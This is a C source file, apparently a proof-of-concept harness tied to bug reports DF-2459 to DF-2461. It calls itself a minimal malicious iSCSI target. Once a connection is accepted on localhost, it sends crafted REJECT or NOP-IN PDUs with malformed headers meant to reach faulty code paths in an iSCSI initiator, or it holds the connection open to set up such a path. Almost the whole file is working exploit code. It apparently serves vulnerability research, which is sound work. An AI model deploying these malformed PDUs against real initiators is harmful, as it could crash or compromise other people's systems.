DF-2461 / mtarget.c
/* * mtarget.c - Minimal malicious iSCSI target / connection holder. * * Modes: * reject - inject 48-byte REJECT BHS (AHS=0,DS=0) [DF-2460] * nopin - inject NOP-IN itt=ffffffff ttt=1 + 4-byte AHS [DF-2459] * hold - accept and keep the TCP connection open (for DF-2461, * so ISCSISETSOC sets sp->soc and i_send() does not * short-circuit with ENOTCONN). No PDU is injected. * * Build: cc -o mtarget mtarget.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static void hex(const char *p, int n) { int i; for (i = 0; i < n; i++) { printf("%02x ", (unsigned char)p[i]); if ((i&15)==15) printf("\n"); } printf("\n"); fflush(stdout); } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "reject"; int port = argc > 2 ? atoi(argv[2]) : 3260; int s = socket(AF_INET, SOCK_STREAM, 0); int one = 1; struct sockaddr_in sa; int c; struct sockaddr_in ca; socklen_t cl; if (s < 0) { perror("socket"); return 1; } setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(port); if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } if (listen(s, 1) < 0) { perror("listen"); return 1; } printf("mtarget[%s]: listening on 127.0.0.1:%d\n", mode, port); fflush(stdout); cl = sizeof(ca); c = accept(s, (struct sockaddr*)&ca, &cl); if (c < 0) { perror("accept"); return 1; } printf("mtarget[%s]: accepted connection\n", mode); fflush(stdout); if (strcmp(mode, "reject") == 0) { unsigned char buf[256]; memset(buf, 0, sizeof(buf)); buf[0] = 0x3f; buf[1] = 0x80; printf("mtarget[%s]: sending 48-byte REJECT (mp stays NULL)\n", mode); write(c, buf, 48); hex((char*)buf, 32); sleep(3); } else if (strcmp(mode, "nopin") == 0) { unsigned char buf[256]; memset(buf, 0, sizeof(buf)); buf[0] = 0x20; buf[1] = 0x80; buf[4] = 0x01; buf[16]=buf[17]=buf[18]=buf[19]=0xff; buf[23]=0x01; printf("mtarget[%s]: sending 52-byte NOP-IN\n", mode); write(c, buf, 48); write(c, buf, 4); hex((char*)buf, 32); sleep(3); } else if (strcmp(mode, "hold") == 0) { printf("mtarget[%s]: holding connection open 30s\n", mode); fflush(stdout); sleep(30); } else { fprintf(stderr, "unknown mode %s\n", mode); return 1; } close(c); close(s); return 0; } |